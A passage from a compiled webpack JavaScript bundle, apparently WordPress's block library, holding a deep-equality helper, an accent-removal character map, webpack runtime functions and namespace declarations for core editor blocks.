1/******/ (() => { // webpackBootstrap
2/******/ var __webpack_modules__ = ({
3
4/***/ 3533:
5/***/ ((module) => {
6
7"use strict";
8module.exports = window["wp"]["latexToMathml"];
9
10/***/ }),
11
12/***/ 7734:
13/***/ ((module) => {
14
15"use strict";
16
17
18// do not edit .js files directly - edit src/index.jst
19
20
21 var envHasBigInt64Array = typeof BigInt64Array !== 'undefined';
22
23
24module.exports = function equal(a, b) {
25 if (a === b) return true;
26
27 if (a && b && typeof a == 'object' && typeof b == 'object') {
28 if (a.constructor !== b.constructor) return false;
29
30 var length, i, keys;
31 if (Array.isArray(a)) {
32 length = a.length;
33 if (length != b.length) return false;
34 for (i = length; i-- !== 0;)
35 if (!equal(a[i], b[i])) return false;
36 return true;
37 }
38
39
40 if ((a instanceof Map) && (b instanceof Map)) {
41 if (a.size !== b.size) return false;
42 for (i of a.entries())
43 if (!b.has(i[0])) return false;
44 for (i of a.entries())
45 if (!equal(i[1], b.get(i[0]))) return false;
46 return true;
47 }
48
49 if ((a instanceof Set) && (b instanceof Set)) {
50 if (a.size !== b.size) return false;
51 for (i of a.entries())
52 if (!b.has(i[0])) return false;
53 return true;
54 }
55
56 if (ArrayBuffer.isView(a) && ArrayBuffer.isView(b)) {
57 length = a.length;
58 if (length != b.length) return false;
59 for (i = length; i-- !== 0;)
60 if (a[i] !== b[i]) return false;
61 return true;
62 }
63
64
65 if (a.constructor === RegExp) return a.source === b.source && a.flags === b.flags;
66 if (a.valueOf !== Object.prototype.valueOf) return a.valueOf() === b.valueOf();
67 if (a.toString !== Object.prototype.toString) return a.toString() === b.toString();
68
69 keys = Object.keys(a);
70 length = keys.length;
71 if (length !== Object.keys(b).length) return false;
72
73 for (i = length; i-- !== 0;)
74 if (!Object.prototype.hasOwnProperty.call(b, keys[i])) return false;
75
76 for (i = length; i-- !== 0;) {
77 var key = keys[i];
78
79 if (!equal(a[key], b[key])) return false;
80 }
81
82 return true;
83 }
84
85 // true if both NaN, false otherwise
86 return a!==a && b!==b;
87};
88
89
90/***/ }),
91
92/***/ 9681:
93/***/ ((module) => {
94
95var characterMap = {
96 "À": "A",
97 "Á": "A",
98 "Â": "A",
99 "Ã": "A",
100 "Ä": "A",
101 "Å": "A",
102 "Ấ": "A",
103 "Ắ": "A",
104 "Ẳ": "A",
105 "Ẵ": "A",
106 "Ặ": "A",
107 "Æ": "AE",
108 "Ầ": "A",
109 "Ằ": "A",
110 "Ȃ": "A",
111 "Ả": "A",
112 "Ạ": "A",
113 "Ẩ": "A",
114 "Ẫ": "A",
115 "Ậ": "A",
116 "Ç": "C",
117 "Ḉ": "C",
118 "È": "E",
119 "É": "E",
120 "Ê": "E",
121 "Ë": "E",
122 "Ế": "E",
123 "Ḗ": "E",
124 "Ề": "E",
125 "Ḕ": "E",
126 "Ḝ": "E",
127 "Ȇ": "E",
128 "Ẻ": "E",
129 "Ẽ": "E",
130 "Ẹ": "E",
131 "Ể": "E",
132 "Ễ": "E",
133 "Ệ": "E",
134 "Ì": "I",
135 "Í": "I",
136 "Î": "I",
137 "Ï": "I",
138 "Ḯ": "I",
139 "Ȋ": "I",
140 "Ỉ": "I",
141 "Ị": "I",
142 "Ð": "D",
143 "Ñ": "N",
144 "Ò": "O",
145 "Ó": "O",
146 "Ô": "O",
147 "Õ": "O",
148 "Ö": "O",
149 "Ø": "O",
150 "Ố": "O",
151 "Ṍ": "O",
152 "Ṓ": "O",
153 "Ȏ": "O",
154 "Ỏ": "O",
155 "Ọ": "O",
156 "Ổ": "O",
157 "Ỗ": "O",
158 "Ộ": "O",
159 "Ờ": "O",
160 "Ở": "O",
161 "Ỡ": "O",
162 "Ớ": "O",
163 "Ợ": "O",
164 "Ù": "U",
165 "Ú": "U",
166 "Û": "U",
167 "Ü": "U",
168 "Ủ": "U",
169 "Ụ": "U",
170 "Ử": "U",
171 "Ữ": "U",
172 "Ự": "U",
173 "Ý": "Y",
174 "à": "a",
175 "á": "a",
176 "â": "a",
177 "ã": "a",
178 "ä": "a",
179 "å": "a",
180 "ấ": "a",
181 "ắ": "a",
182 "ẳ": "a",
183 "ẵ": "a",
184 "ặ": "a",
185 "æ": "ae",
186 "ầ": "a",
187 "ằ": "a",
188 "ȃ": "a",
189 "ả": "a",
190 "ạ": "a",
191 "ẩ": "a",
192 "ẫ": "a",
193 "ậ": "a",
194 "ç": "c",
195 "ḉ": "c",
196 "è": "e",
197 "é": "e",
198 "ê": "e",
199 "ë": "e",
200 "ế": "e",
201 "ḗ": "e",
202 "ề": "e",
203 "ḕ": "e",
204 "ḝ": "e",
205 "ȇ": "e",
206 "ẻ": "e",
207 "ẽ": "e",
208 "ẹ": "e",
209 "ể": "e",
210 "ễ": "e",
211 "ệ": "e",
212 "ì": "i",
213 "í": "i",
214 "î": "i",
215 "ï": "i",
216 "ḯ": "i",
217 "ȋ": "i",
218 "ỉ": "i",
219 "ị": "i",
220 "ð": "d",
221 "ñ": "n",
222 "ò": "o",
223 "ó": "o",
224 "ô": "o",
225 "õ": "o",
226 "ö": "o",
227 "ø": "o",
228 "ố": "o",
229 "ṍ": "o",
230 "ṓ": "o",
231 "ȏ": "o",
232 "ỏ": "o",
233 "ọ": "o",
234 "ổ": "o",
235 "ỗ": "o",
236 "ộ": "o",
237 "ờ": "o",
238 "ở": "o",
239 "ỡ": "o",
240 "ớ": "o",
241 "ợ": "o",
242 "ù": "u",
243 "ú": "u",
244 "û": "u",
245 "ü": "u",
246 "ủ": "u",
247 "ụ": "u",
248 "ử": "u",
249 "ữ": "u",
250 "ự": "u",
251 "ý": "y",
252 "ÿ": "y",
253 "Ā": "A",
254 "ā": "a",
255 "Ă": "A",
256 "ă": "a",
257 "Ą": "A",
258 "ą": "a",
259 "Ć": "C",
260 "ć": "c",
261 "Ĉ": "C",
262 "ĉ": "c",
263 "Ċ": "C",
264 "ċ": "c",
265 "Č": "C",
266 "č": "c",
267 "C̆": "C",
268 "c̆": "c",
269 "Ď": "D",
270 "ď": "d",
271 "Đ": "D",
272 "đ": "d",
273 "Ē": "E",
274 "ē": "e",
275 "Ĕ": "E",
276 "ĕ": "e",
277 "Ė": "E",
278 "ė": "e",
279 "Ę": "E",
280 "ę": "e",
281 "Ě": "E",
282 "ě": "e",
283 "Ĝ": "G",
284 "Ǵ": "G",
285 "ĝ": "g",
286 "ǵ": "g",
287 "Ğ": "G",
288 "ğ": "g",
289 "Ġ": "G",
290 "ġ": "g",
291 "Ģ": "G",
292 "ģ": "g",
293 "Ĥ": "H",
294 "ĥ": "h",
295 "Ħ": "H",
296 "ħ": "h",
297 "Ḫ": "H",
298 "ḫ": "h",
299 "Ĩ": "I",
300 "ĩ": "i",
301 "Ī": "I",
302 "ī": "i",
303 "Ĭ": "I",
304 "ĭ": "i",
305 "Į": "I",
306 "į": "i",
307 "İ": "I",
308 "ı": "i",
309 "IJ": "IJ",
310 "ij": "ij",
311 "Ĵ": "J",
312 "ĵ": "j",
313 "Ķ": "K",
314 "ķ": "k",
315 "Ḱ": "K",
316 "ḱ": "k",
317 "K̆": "K",
318 "k̆": "k",
319 "Ĺ": "L",
320 "ĺ": "l",
321 "Ļ": "L",
322 "ļ": "l",
323 "Ľ": "L",
324 "ľ": "l",
325 "Ŀ": "L",
326 "ŀ": "l",
327 "Ł": "l",
328 "ł": "l",
329 "Ḿ": "M",
330 "ḿ": "m",
331 "M̆": "M",
332 "m̆": "m",
333 "Ń": "N",
334 "ń": "n",
335 "Ņ": "N",
336 "ņ": "n",
337 "Ň": "N",
338 "ň": "n",
339 "ʼn": "n",
340 "N̆": "N",
341 "n̆": "n",
342 "Ō": "O",
343 "ō": "o",
344 "Ŏ": "O",
345 "ŏ": "o",
346 "Ő": "O",
347 "ő": "o",
348 "Œ": "OE",
349 "œ": "oe",
350 "P̆": "P",
351 "p̆": "p",
352 "Ŕ": "R",
353 "ŕ": "r",
354 "Ŗ": "R",
355 "ŗ": "r",
356 "Ř": "R",
357 "ř": "r",
358 "R̆": "R",
359 "r̆": "r",
360 "Ȓ": "R",
361 "ȓ": "r",
362 "Ś": "S",
363 "ś": "s",
364 "Ŝ": "S",
365 "ŝ": "s",
366 "Ş": "S",
367 "Ș": "S",
368 "ș": "s",
369 "ş": "s",
370 "Š": "S",
371 "š": "s",
372 "Ţ": "T",
373 "ţ": "t",
374 "ț": "t",
375 "Ț": "T",
376 "Ť": "T",
377 "ť": "t",
378 "Ŧ": "T",
379 "ŧ": "t",
380 "T̆": "T",
381 "t̆": "t",
382 "Ũ": "U",
383 "ũ": "u",
384 "Ū": "U",
385 "ū": "u",
386 "Ŭ": "U",
387 "ŭ": "u",
388 "Ů": "U",
389 "ů": "u",
390 "Ű": "U",
391 "ű": "u",
392 "Ų": "U",
393 "ų": "u",
394 "Ȗ": "U",
395 "ȗ": "u",
396 "V̆": "V",
397 "v̆": "v",
398 "Ŵ": "W",
399 "ŵ": "w",
400 "Ẃ": "W",
401 "ẃ": "w",
402 "X̆": "X",
403 "x̆": "x",
404 "Ŷ": "Y",
405 "ŷ": "y",
406 "Ÿ": "Y",
407 "Y̆": "Y",
408 "y̆": "y",
409 "Ź": "Z",
410 "ź": "z",
411 "Ż": "Z",
412 "ż": "z",
413 "Ž": "Z",
414 "ž": "z",
415 "ſ": "s",
416 "ƒ": "f",
417 "Ơ": "O",
418 "ơ": "o",
419 "Ư": "U",
420 "ư": "u",
421 "Ǎ": "A",
422 "ǎ": "a",
423 "Ǐ": "I",
424 "ǐ": "i",
425 "Ǒ": "O",
426 "ǒ": "o",
427 "Ǔ": "U",
428 "ǔ": "u",
429 "Ǖ": "U",
430 "ǖ": "u",
431 "Ǘ": "U",
432 "ǘ": "u",
433 "Ǚ": "U",
434 "ǚ": "u",
435 "Ǜ": "U",
436 "ǜ": "u",
437 "Ứ": "U",
438 "ứ": "u",
439 "Ṹ": "U",
440 "ṹ": "u",
441 "Ǻ": "A",
442 "ǻ": "a",
443 "Ǽ": "AE",
444 "ǽ": "ae",
445 "Ǿ": "O",
446 "ǿ": "o",
447 "Þ": "TH",
448 "þ": "th",
449 "Ṕ": "P",
450 "ṕ": "p",
451 "Ṥ": "S",
452 "ṥ": "s",
453 "X́": "X",
454 "x́": "x",
455 "Ѓ": "Г",
456 "ѓ": "г",
457 "Ќ": "К",
458 "ќ": "к",
459 "A̋": "A",
460 "a̋": "a",
461 "E̋": "E",
462 "e̋": "e",
463 "I̋": "I",
464 "i̋": "i",
465 "Ǹ": "N",
466 "ǹ": "n",
467 "Ồ": "O",
468 "ồ": "o",
469 "Ṑ": "O",
470 "ṑ": "o",
471 "Ừ": "U",
472 "ừ": "u",
473 "Ẁ": "W",
474 "ẁ": "w",
475 "Ỳ": "Y",
476 "ỳ": "y",
477 "Ȁ": "A",
478 "ȁ": "a",
479 "Ȅ": "E",
480 "ȅ": "e",
481 "Ȉ": "I",
482 "ȉ": "i",
483 "Ȍ": "O",
484 "ȍ": "o",
485 "Ȑ": "R",
486 "ȑ": "r",
487 "Ȕ": "U",
488 "ȕ": "u",
489 "B̌": "B",
490 "b̌": "b",
491 "Č̣": "C",
492 "č̣": "c",
493 "Ê̌": "E",
494 "ê̌": "e",
495 "F̌": "F",
496 "f̌": "f",
497 "Ǧ": "G",
498 "ǧ": "g",
499 "Ȟ": "H",
500 "ȟ": "h",
501 "J̌": "J",
502 "ǰ": "j",
503 "Ǩ": "K",
504 "ǩ": "k",
505 "M̌": "M",
506 "m̌": "m",
507 "P̌": "P",
508 "p̌": "p",
509 "Q̌": "Q",
510 "q̌": "q",
511 "Ř̩": "R",
512 "ř̩": "r",
513 "Ṧ": "S",
514 "ṧ": "s",
515 "V̌": "V",
516 "v̌": "v",
517 "W̌": "W",
518 "w̌": "w",
519 "X̌": "X",
520 "x̌": "x",
521 "Y̌": "Y",
522 "y̌": "y",
523 "A̧": "A",
524 "a̧": "a",
525 "B̧": "B",
526 "b̧": "b",
527 "Ḑ": "D",
528 "ḑ": "d",
529 "Ȩ": "E",
530 "ȩ": "e",
531 "Ɛ̧": "E",
532 "ɛ̧": "e",
533 "Ḩ": "H",
534 "ḩ": "h",
535 "I̧": "I",
536 "i̧": "i",
537 "Ɨ̧": "I",
538 "ɨ̧": "i",
539 "M̧": "M",
540 "m̧": "m",
541 "O̧": "O",
542 "o̧": "o",
543 "Q̧": "Q",
544 "q̧": "q",
545 "U̧": "U",
546 "u̧": "u",
547 "X̧": "X",
548 "x̧": "x",
549 "Z̧": "Z",
550 "z̧": "z",
551 "й":"и",
552 "Й":"И",
553 "ё":"е",
554 "Ё":"Е",
555};
556
557var chars = Object.keys(characterMap).join('|');
558var allAccents = new RegExp(chars, 'g');
559var firstAccent = new RegExp(chars, '');
560
561function matcher(match) {
562 return characterMap[match];
563}
564
565var removeAccents = function(string) {
566 return string.replace(allAccents, matcher);
567};
568
569var hasAccents = function(string) {
570 return !!string.match(firstAccent);
571};
572
573module.exports = removeAccents;
574module.exports.has = hasAccents;
575module.exports.remove = removeAccents;
576
577
578/***/ })
579
580/******/ });
581/************************************************************************/
582/******/ // The module cache
583/******/ var __webpack_module_cache__ = {};
584/******/
585/******/ // The require function
586/******/ function __webpack_require__(moduleId) {
587/******/ // Check if module is in cache
588/******/ var cachedModule = __webpack_module_cache__[moduleId];
589/******/ if (cachedModule !== undefined) {
590/******/ return cachedModule.exports;
591/******/ }
592/******/ // Create a new module (and put it into the cache)
593/******/ var module = __webpack_module_cache__[moduleId] = {
594/******/ // no module.id needed
595/******/ // no module.loaded needed
596/******/ exports: {}
597/******/ };
598/******/
599/******/ // Execute the module function
600/******/ __webpack_modules__[moduleId](module, module.exports, __webpack_require__);
601/******/
602/******/ // Return the exports of the module
603/******/ return module.exports;
604/******/ }
605/******/
606/************************************************************************/
607/******/ /* webpack/runtime/compat get default export */
608/******/ (() => {
609/******/ // getDefaultExport function for compatibility with non-harmony modules
610/******/ __webpack_require__.n = (module) => {
611/******/ var getter = module && module.__esModule ?
612/******/ () => (module['default']) :
613/******/ () => (module);
614/******/ __webpack_require__.d(getter, { a: getter });
615/******/ return getter;
616/******/ };
617/******/ })();
618/******/
619/******/ /* webpack/runtime/create fake namespace object */
620/******/ (() => {
621/******/ var getProto = Object.getPrototypeOf ? (obj) => (Object.getPrototypeOf(obj)) : (obj) => (obj.__proto__);
622/******/ var leafPrototypes;
623/******/ // create a fake namespace object
624/******/ // mode & 1: value is a module id, require it
625/******/ // mode & 2: merge all properties of value into the ns
626/******/ // mode & 4: return value when already ns object
627/******/ // mode & 16: return value when it's Promise-like
628/******/ // mode & 8|1: behave like require
629/******/ __webpack_require__.t = function(value, mode) {
630/******/ if(mode & 1) value = this(value);
631/******/ if(mode & 8) return value;
632/******/ if(typeof value === 'object' && value) {
633/******/ if((mode & 4) && value.__esModule) return value;
634/******/ if((mode & 16) && typeof value.then === 'function') return value;
635/******/ }
636/******/ var ns = Object.create(null);
637/******/ __webpack_require__.r(ns);
638/******/ var def = {};
639/******/ leafPrototypes = leafPrototypes || [null, getProto({}), getProto([]), getProto(getProto)];
640/******/ for(var current = mode & 2 && value; typeof current == 'object' && !~leafPrototypes.indexOf(current); current = getProto(current)) {
641/******/ Object.getOwnPropertyNames(current).forEach((key) => (def[key] = () => (value[key])));
642/******/ }
643/******/ def['default'] = () => (value);
644/******/ __webpack_require__.d(ns, def);
645/******/ return ns;
646/******/ };
647/******/ })();
648/******/
649/******/ /* webpack/runtime/define property getters */
650/******/ (() => {
651/******/ // define getter functions for harmony exports
652/******/ __webpack_require__.d = (exports, definition) => {
653/******/ for(var key in definition) {
654/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
655/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
656/******/ }
657/******/ }
658/******/ };
659/******/ })();
660/******/
661/******/ /* webpack/runtime/hasOwnProperty shorthand */
662/******/ (() => {
663/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
664/******/ })();
665/******/
666/******/ /* webpack/runtime/make namespace object */
667/******/ (() => {
668/******/ // define __esModule on exports
669/******/ __webpack_require__.r = (exports) => {
670/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
671/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
672/******/ }
673/******/ Object.defineProperty(exports, '__esModule', { value: true });
674/******/ };
675/******/ })();
676/******/
677/************************************************************************/
678var __webpack_exports__ = {};
679// This entry needs to be wrapped in an IIFE because it needs to be in strict mode.
680(() => {
681"use strict";
682// ESM COMPAT FLAG
683__webpack_require__.r(__webpack_exports__);
684
685// EXPORTS
686__webpack_require__.d(__webpack_exports__, {
687 __experimentalGetCoreBlocks: () => (/* binding */ __experimentalGetCoreBlocks),
688 __experimentalRegisterExperimentalCoreBlocks: () => (/* binding */ __experimentalRegisterExperimentalCoreBlocks),
689 privateApis: () => (/* reexport */ privateApis),
690 registerCoreBlocks: () => (/* binding */ registerCoreBlocks)
691});
692
693// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/accordion/index.js
694var accordion_namespaceObject = {};
695__webpack_require__.r(accordion_namespaceObject);
696__webpack_require__.d(accordion_namespaceObject, {
697 init: () => (init),
698 metadata: () => (block_namespaceObject),
699 name: () => (accordion_name),
700 settings: () => (settings)
701});
702
703// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/accordion-item/index.js
704var accordion_item_namespaceObject = {};
705__webpack_require__.r(accordion_item_namespaceObject);
706__webpack_require__.d(accordion_item_namespaceObject, {
707 init: () => (accordion_item_init),
708 metadata: () => (accordion_item_block_namespaceObject),
709 name: () => (accordion_item_name),
710 settings: () => (accordion_item_settings)
711});
712
713// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/accordion-heading/index.js
714var accordion_heading_namespaceObject = {};
715__webpack_require__.r(accordion_heading_namespaceObject);
716__webpack_require__.d(accordion_heading_namespaceObject, {
717 init: () => (accordion_heading_init),
718 metadata: () => (accordion_heading_block_namespaceObject),
719 name: () => (accordion_heading_name),
720 settings: () => (accordion_heading_settings)
721});
722
723// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/accordion-panel/index.js
724var accordion_panel_namespaceObject = {};
725__webpack_require__.r(accordion_panel_namespaceObject);
726__webpack_require__.d(accordion_panel_namespaceObject, {
727 init: () => (accordion_panel_init),
728 metadata: () => (accordion_panel_block_namespaceObject),
729 name: () => (accordion_panel_name),
730 settings: () => (accordion_panel_settings)
731});
732
733// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/archives/index.js
734var archives_namespaceObject = {};
735__webpack_require__.r(archives_namespaceObject);
736__webpack_require__.d(archives_namespaceObject, {
737 init: () => (archives_init),
738 metadata: () => (archives_block_namespaceObject),
739 name: () => (archives_name),
740 settings: () => (archives_settings)
741});
742
743// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/avatar/index.js
744var avatar_namespaceObject = {};
745__webpack_require__.r(avatar_namespaceObject);
746__webpack_require__.d(avatar_namespaceObject, {
747 init: () => (avatar_init),
748 metadata: () => (avatar_block_namespaceObject),
749 name: () => (avatar_name),
750 settings: () => (avatar_settings)
751});
752
753// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/audio/index.js
754var build_module_audio_namespaceObject = {};
755__webpack_require__.r(build_module_audio_namespaceObject);
756__webpack_require__.d(build_module_audio_namespaceObject, {
757 init: () => (audio_init),
758 metadata: () => (audio_block_namespaceObject),
759 name: () => (audio_name),
760 settings: () => (audio_settings)
761});
762
763// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/breadcrumbs/index.js
764var build_module_breadcrumbs_namespaceObject = {};
765__webpack_require__.r(build_module_breadcrumbs_namespaceObject);
766__webpack_require__.d(build_module_breadcrumbs_namespaceObject, {
767 init: () => (breadcrumbs_init),
768 metadata: () => (breadcrumbs_block_namespaceObject),
769 name: () => (breadcrumbs_name),
770 settings: () => (breadcrumbs_settings)
771});
772
773// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/button/index.js
774var build_module_button_namespaceObject = {};
775__webpack_require__.r(build_module_button_namespaceObject);
776__webpack_require__.d(build_module_button_namespaceObject, {
777 init: () => (button_init),
778 metadata: () => (button_block_namespaceObject),
779 name: () => (button_name),
780 settings: () => (button_settings)
781});
782
783// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/buttons/index.js
784var build_module_buttons_namespaceObject = {};
785__webpack_require__.r(build_module_buttons_namespaceObject);
786__webpack_require__.d(build_module_buttons_namespaceObject, {
787 init: () => (buttons_init),
788 metadata: () => (buttons_block_namespaceObject),
789 name: () => (buttons_name),
790 settings: () => (buttons_settings)
791});
792
793// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/calendar/index.js
794var build_module_calendar_namespaceObject = {};
795__webpack_require__.r(build_module_calendar_namespaceObject);
796__webpack_require__.d(build_module_calendar_namespaceObject, {
797 init: () => (calendar_init),
798 metadata: () => (calendar_block_namespaceObject),
799 name: () => (calendar_name),
800 settings: () => (calendar_settings)
801});
802
803// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/categories/index.js
804var categories_namespaceObject = {};
805__webpack_require__.r(categories_namespaceObject);
806__webpack_require__.d(categories_namespaceObject, {
807 init: () => (categories_init),
808 metadata: () => (categories_block_namespaceObject),
809 name: () => (categories_name),
810 settings: () => (categories_settings)
811});
812
813// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/freeform/index.js
814var freeform_namespaceObject = {};
815__webpack_require__.r(freeform_namespaceObject);
816__webpack_require__.d(freeform_namespaceObject, {
817 init: () => (freeform_init),
818 metadata: () => (freeform_block_namespaceObject),
819 name: () => (freeform_name),
820 settings: () => (freeform_settings)
821});
822
823// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/code/index.js
824var build_module_code_namespaceObject = {};
825__webpack_require__.r(build_module_code_namespaceObject);
826__webpack_require__.d(build_module_code_namespaceObject, {
827 init: () => (code_init),
828 metadata: () => (code_block_namespaceObject),
829 name: () => (code_name),
830 settings: () => (code_settings)
831});
832
833// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/column/index.js
834var build_module_column_namespaceObject = {};
835__webpack_require__.r(build_module_column_namespaceObject);
836__webpack_require__.d(build_module_column_namespaceObject, {
837 init: () => (column_init),
838 metadata: () => (column_block_namespaceObject),
839 name: () => (column_name),
840 settings: () => (column_settings)
841});
842
843// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/columns/index.js
844var build_module_columns_namespaceObject = {};
845__webpack_require__.r(build_module_columns_namespaceObject);
846__webpack_require__.d(build_module_columns_namespaceObject, {
847 init: () => (columns_init),
848 metadata: () => (columns_block_namespaceObject),
849 name: () => (columns_name),
850 settings: () => (columns_settings)
851});
852
853// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/comments/index.js
854var comments_namespaceObject = {};
855__webpack_require__.r(comments_namespaceObject);
856__webpack_require__.d(comments_namespaceObject, {
857 init: () => (comments_init),
858 metadata: () => (comments_block_namespaceObject),
859 name: () => (comments_name),
860 settings: () => (comments_settings)
861});
862
863// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/comment-author-avatar/index.js
864var build_module_comment_author_avatar_namespaceObject = {};
865__webpack_require__.r(build_module_comment_author_avatar_namespaceObject);
866__webpack_require__.d(build_module_comment_author_avatar_namespaceObject, {
867 init: () => (comment_author_avatar_init),
868 metadata: () => (comment_author_avatar_block_namespaceObject),
869 name: () => (comment_author_avatar_name),
870 settings: () => (comment_author_avatar_settings)
871});
872
873// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/comment-author-name/index.js
874var build_module_comment_author_name_namespaceObject = {};
875__webpack_require__.r(build_module_comment_author_name_namespaceObject);
876__webpack_require__.d(build_module_comment_author_name_namespaceObject, {
877 init: () => (comment_author_name_init),
878 metadata: () => (comment_author_name_block_namespaceObject),
879 name: () => (comment_author_name_name),
880 settings: () => (comment_author_name_settings)
881});
882
883// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/comment-content/index.js
884var build_module_comment_content_namespaceObject = {};
885__webpack_require__.r(build_module_comment_content_namespaceObject);
886__webpack_require__.d(build_module_comment_content_namespaceObject, {
887 init: () => (comment_content_init),
888 metadata: () => (comment_content_block_namespaceObject),
889 name: () => (comment_content_name),
890 settings: () => (comment_content_settings)
891});
892
893// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/comment-date/index.js
894var comment_date_namespaceObject = {};
895__webpack_require__.r(comment_date_namespaceObject);
896__webpack_require__.d(comment_date_namespaceObject, {
897 init: () => (comment_date_init),
898 metadata: () => (comment_date_block_namespaceObject),
899 name: () => (comment_date_name),
900 settings: () => (comment_date_settings)
901});
902
903// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/comment-edit-link/index.js
904var build_module_comment_edit_link_namespaceObject = {};
905__webpack_require__.r(build_module_comment_edit_link_namespaceObject);
906__webpack_require__.d(build_module_comment_edit_link_namespaceObject, {
907 init: () => (comment_edit_link_init),
908 metadata: () => (comment_edit_link_block_namespaceObject),
909 name: () => (comment_edit_link_name),
910 settings: () => (comment_edit_link_settings)
911});
912
913// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/comment-reply-link/index.js
914var build_module_comment_reply_link_namespaceObject = {};
915__webpack_require__.r(build_module_comment_reply_link_namespaceObject);
916__webpack_require__.d(build_module_comment_reply_link_namespaceObject, {
917 init: () => (comment_reply_link_init),
918 metadata: () => (comment_reply_link_block_namespaceObject),
919 name: () => (comment_reply_link_name),
920 settings: () => (comment_reply_link_settings)
921});
922
923// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/comment-template/index.js
924var comment_template_namespaceObject = {};
925__webpack_require__.r(comment_template_namespaceObject);
926__webpack_require__.d(comment_template_namespaceObject, {
927 init: () => (comment_template_init),
928 metadata: () => (comment_template_block_namespaceObject),
929 name: () => (comment_template_name),
930 settings: () => (comment_template_settings)
931});
932
933// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/comments-pagination-previous/index.js
934var comments_pagination_previous_namespaceObject = {};
935__webpack_require__.r(comments_pagination_previous_namespaceObject);
936__webpack_require__.d(comments_pagination_previous_namespaceObject, {
937 init: () => (comments_pagination_previous_init),
938 metadata: () => (comments_pagination_previous_block_namespaceObject),
939 name: () => (comments_pagination_previous_name),
940 settings: () => (comments_pagination_previous_settings)
941});
942
943// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/comments-pagination/index.js
944var comments_pagination_namespaceObject = {};
945__webpack_require__.r(comments_pagination_namespaceObject);
946__webpack_require__.d(comments_pagination_namespaceObject, {
947 init: () => (comments_pagination_init),
948 metadata: () => (comments_pagination_block_namespaceObject),
949 name: () => (comments_pagination_name),
950 settings: () => (comments_pagination_settings)
951});
952
953// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/comments-pagination-next/index.js
954var comments_pagination_next_namespaceObject = {};
955__webpack_require__.r(comments_pagination_next_namespaceObject);
956__webpack_require__.d(comments_pagination_next_namespaceObject, {
957 init: () => (comments_pagination_next_init),
958 metadata: () => (comments_pagination_next_block_namespaceObject),
959 name: () => (comments_pagination_next_name),
960 settings: () => (comments_pagination_next_settings)
961});
962
963// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/comments-pagination-numbers/index.js
964var comments_pagination_numbers_namespaceObject = {};
965__webpack_require__.r(comments_pagination_numbers_namespaceObject);
966__webpack_require__.d(comments_pagination_numbers_namespaceObject, {
967 init: () => (comments_pagination_numbers_init),
968 metadata: () => (comments_pagination_numbers_block_namespaceObject),
969 name: () => (comments_pagination_numbers_name),
970 settings: () => (comments_pagination_numbers_settings)
971});
972
973// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/comments-title/index.js
974var comments_title_namespaceObject = {};
975__webpack_require__.r(comments_title_namespaceObject);
976__webpack_require__.d(comments_title_namespaceObject, {
977 init: () => (comments_title_init),
978 metadata: () => (comments_title_block_namespaceObject),
979 name: () => (comments_title_name),
980 settings: () => (comments_title_settings)
981});
982
983// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/cover/index.js
984var build_module_cover_namespaceObject = {};
985__webpack_require__.r(build_module_cover_namespaceObject);
986__webpack_require__.d(build_module_cover_namespaceObject, {
987 init: () => (cover_init),
988 metadata: () => (cover_block_namespaceObject),
989 name: () => (cover_name),
990 settings: () => (cover_settings)
991});
992
993// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/details/index.js
994var build_module_details_namespaceObject = {};
995__webpack_require__.r(build_module_details_namespaceObject);
996__webpack_require__.d(build_module_details_namespaceObject, {
997 init: () => (details_init),
998 metadata: () => (details_block_namespaceObject),
999 name: () => (details_name),
1000 settings: () => (details_settings)
1001});
1002
1003// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/embed/index.js
1004var embed_namespaceObject = {};
1005__webpack_require__.r(embed_namespaceObject);
1006__webpack_require__.d(embed_namespaceObject, {
1007 init: () => (embed_init),
1008 metadata: () => (embed_block_namespaceObject),
1009 name: () => (embed_name),
1010 settings: () => (embed_settings)
1011});
1012
1013// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/file/index.js
1014var build_module_file_namespaceObject = {};
1015__webpack_require__.r(build_module_file_namespaceObject);
1016__webpack_require__.d(build_module_file_namespaceObject, {
1017 init: () => (file_init),
1018 metadata: () => (file_block_namespaceObject),
1019 name: () => (file_name),
1020 settings: () => (file_settings)
1021});
1022
1023// NAMESPACE OBJECT: ./node_modules/@wordpress/block-library/build-module/form/index.js
